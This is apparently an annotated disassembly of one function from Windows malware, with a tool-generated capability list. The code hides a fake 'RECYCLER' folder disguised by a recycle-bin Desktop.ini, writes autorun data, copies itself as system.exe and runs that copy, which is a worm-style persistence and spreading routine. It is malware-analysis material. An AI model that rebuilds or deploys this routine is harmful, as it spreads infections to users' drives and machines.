Function at 0x4022a5
Capabilities:
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Create thread
Delete file
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x46c
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x468], eax
mov ax, word [0x4044e0]
push ebx
push ebp
push esi
push edi
mov word [esp + 0x68], ax
xor ebx, ebx
mov al, byte [0x4044e2]
push 0x101
mov byte [esp + 0x6e], al
lea eax, [esp + 0x6f]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x270]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x68]
mov byte [esp + 0x16c], bl
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402307
lea edi, [esp + 0x16c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402318
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str.RECYCLER
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402335
lea edi, [esp + 0x16c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402346
mov ecx, edx
lea eax, [esp + 0x16c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x16c]
push 7
push eax
call ebp
mov edx, str.S_1_6_21_2434476501_1644491937_600003330_1213
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402386
lea edi, [esp + 0x16c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402397
mov ecx, edx
lea eax, [esp + 0x16c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
call ebx
push 7
lea eax, [esp + 0x170]
push eax
call ebp
push 0x104
lea eax, [esp + 0x170]
push eax
lea eax, [esp + 0x37c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edx, str.Desktop.ini
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4023e7
lea edi, [esp + 0x374]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4023f8
mov ecx, edx
mov ebp, dword [sym.imp.KERNEL32.dll_CreateFileA]
shr ecx, 2
lea eax, [esp + 0x374]
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
mov ecx, edx
push ebx
push 6
push 2
push ebx
push ebx
and ecx, 3
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
mov esi, eax
cmp esi, 1
jb 0x402457
mov ecx, str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40243b
push ebx
lea eax, [esp + 0x14]
sub ecx, edx
push eax
push ecx
push str._autorun__r_nopen
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
lea edi, [esp + 0x16c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402468
mov ax, word [0x4044e4]
mov edx, str.system.exe
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402480
lea edi, [esp + 0x16c]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402491
mov ecx, edx
lea eax, [esp + 0x16c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
lea eax, [esp + 0x274]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
pop ecx
pop ecx
test eax, eax
je 0x402592
push 0x80
lea eax, [esp + 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x16c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [esp + 0x170]
push eax
lea eax, [esp + 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x104
lea eax, [esp + 0x170]
push eax
lea eax, [esp + 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
xor eax, eax
lea edi, [esp + 0x14]
stosd dword es:[edi], eax
push 0x44
pop esi
push esi
stosd dword es:[edi], eax
push 0
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x2c]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x30], 0x404293
xor eax, eax
mov dword [esp + 0x24], esi
mov word [esp + 0x54], ax
lea eax, [esp + 0x14]
mov dword [esp + 0x50], 1
push eax
lea eax, [esp + 0x28]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x402584
push dword [esp + 0x14]
call ebx
push dword [esp + 0x18]
call ebx
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor ebx, ebx
lea eax, [esp + 0x270]
push ebx
push 0x80
push 3
push ebx
push 7
push closesocket
push eax
call ebp
push ebx
push ebx
push eax
push 0x4025d7
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x478]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040319a
add esp, 0x46c
ret